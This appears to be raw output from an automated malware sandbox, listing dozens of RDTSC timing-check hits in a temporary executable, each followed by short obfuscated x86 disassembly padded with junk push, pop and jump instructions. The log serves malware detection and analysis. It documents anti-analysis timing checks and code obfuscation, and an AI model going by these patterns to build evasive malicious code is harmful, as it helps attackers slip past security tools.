Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 935347 second address: 93534C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93534C second address: 935356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FEE851EFD86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 935356 second address: 935366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93BA8F second address: 93BA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 906DF1 second address: 906DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 906DF5 second address: 906DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 906DFB second address: 906E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FD4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 906F7A second address: 906F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9070F0 second address: 907101 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907101 second address: 907106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907106 second address: 90710C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90710C second address: 907110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907110 second address: 907114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907114 second address: 90712B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 sub dword ptr [ebp+1248E981h], ebx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90712B second address: 907130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907130 second address: 907142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE851EFD8Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907474 second address: 907487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEE84E88FCBh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907487 second address: 9074F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE851EFD86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FEE851EFD88h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov ecx, dword ptr [ebp+122D3862h] 0x0000002c mov dword ptr [ebp+12473258h], ebx 0x00000032 and edx, 1B74CB03h 0x00000038 push 00000004h 0x0000003a jmp 00007FEE851EFD98h 0x0000003f nop 0x00000040 pushad 0x00000041 jmp 00007FEE851EFD8Eh 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9074F2 second address: 9074FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9074FE second address: 907502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907BA4 second address: 907BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEE84E88FCAh 0x0000000a popad 0x0000000b nop 0x0000000c lea eax, dword ptr [ebp+1249B6EDh] 0x00000012 mov cx, di 0x00000015 mov edi, dword ptr [ebp+122D2D85h] 0x0000001b nop 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907BCA second address: 907BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEE851EFD93h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907BE5 second address: 907C53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FEE84E88FD6h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FEE84E88FC8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b lea eax, dword ptr [ebp+1249B6A9h] 0x00000031 mov di, cx 0x00000034 nop 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FEE84E88FCAh 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907C53 second address: 907C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 907C57 second address: 8E517F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007FEE84E88FCDh 0x0000000d nop 0x0000000e call dword ptr [ebp+122D59E6h] 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C263 second address: 93C267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C267 second address: 93C28C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCCh 0x00000007 jne 00007FEE84E88FC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ebx 0x00000013 jnp 00007FEE84E88FC8h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C28C second address: 93C2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE851EFD90h 0x00000009 pop ebx 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007FEE851EFD88h 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C2B3 second address: 93C2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FCFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C2C6 second address: 93C2CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C2CC second address: 93C2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C2D5 second address: 93C2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C6E0 second address: 93C718 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FEE84E88FCAh 0x0000000c pushad 0x0000000d jne 00007FEE84E88FC6h 0x00000013 jnp 00007FEE84E88FC6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c jmp 00007FEE84E88FCCh 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push esi 0x00000025 jp 00007FEE84E88FC6h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93C718 second address: 93C71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 942811 second address: 94281B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94281B second address: 942821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 942821 second address: 942825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941259 second address: 94129C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEE851EFD98h 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FEE851EFD97h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 jno 00007FEE851EFD86h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9413C8 second address: 9413CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9413CC second address: 9413D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9413D2 second address: 9413D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941529 second address: 94153F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Ch 0x00000007 jnl 00007FEE851EFD86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94153F second address: 941566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEE84E88FCDh 0x00000008 jne 00007FEE84E88FC6h 0x0000000e jns 00007FEE84E88FC6h 0x00000014 jng 00007FEE84E88FC6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941566 second address: 94156A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94156A second address: 94156E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9416E3 second address: 9416FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD93h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941832 second address: 94183F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FEE84E88FC8h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94183F second address: 941845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9419D0 second address: 9419E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD3h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941B09 second address: 941B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE851EFD8Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 941F03 second address: 941F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94206F second address: 942077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 942077 second address: 94207B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9421E4 second address: 9421EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 949E40 second address: 949E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b js 00007FEE84E88FC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94D1E0 second address: 94D1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 94CD47 second address: 94CD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEE84E88FC6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 953CB8 second address: 953CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9526ED second address: 9526FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FEE84E88FC6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9526FC second address: 952721 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007FEE851EFD86h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 952721 second address: 95273B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEE84E88FC6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FEE84E88FC8h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 952E00 second address: 952E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 952F47 second address: 952F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95730F second address: 957334 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEE851EFD88h 0x00000008 push ebx 0x00000009 jbe 00007FEE851EFD86h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jg 00007FEE851EFD88h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jnl 00007FEE851EFD9Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 957334 second address: 957355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FCFh 0x00000009 jmp 00007FEE84E88FCAh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 957355 second address: 95735B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95735B second address: 95735F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95B50D second address: 95B520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 jmp 00007FEE851EFD8Bh 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95B520 second address: 95B53D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEE84E88FCFh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95B53D second address: 95B55A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEE851EFD97h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 95B55A second address: 95B564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEE84E88FC6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9621DD second address: 9621F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEE851EFD91h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9621F7 second address: 9621FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9621FD second address: 962204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962204 second address: 96220C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96220C second address: 962210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962A92 second address: 962A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962A96 second address: 962AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007FEE851EFD98h 0x0000000f jmp 00007FEE851EFD8Fh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962D8F second address: 962D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962D93 second address: 962DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 962DA0 second address: 962DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEE84E88FC6h 0x0000000a jc 00007FEE84E88FC6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963077 second address: 96307C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96307C second address: 9630A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b js 00007FEE84E88FC6h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FEE84E88FCEh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963372 second address: 963377 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963377 second address: 96338A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007FEE84E88FE7h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 96338A second address: 96338E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963654 second address: 963659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 963C24 second address: 963C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
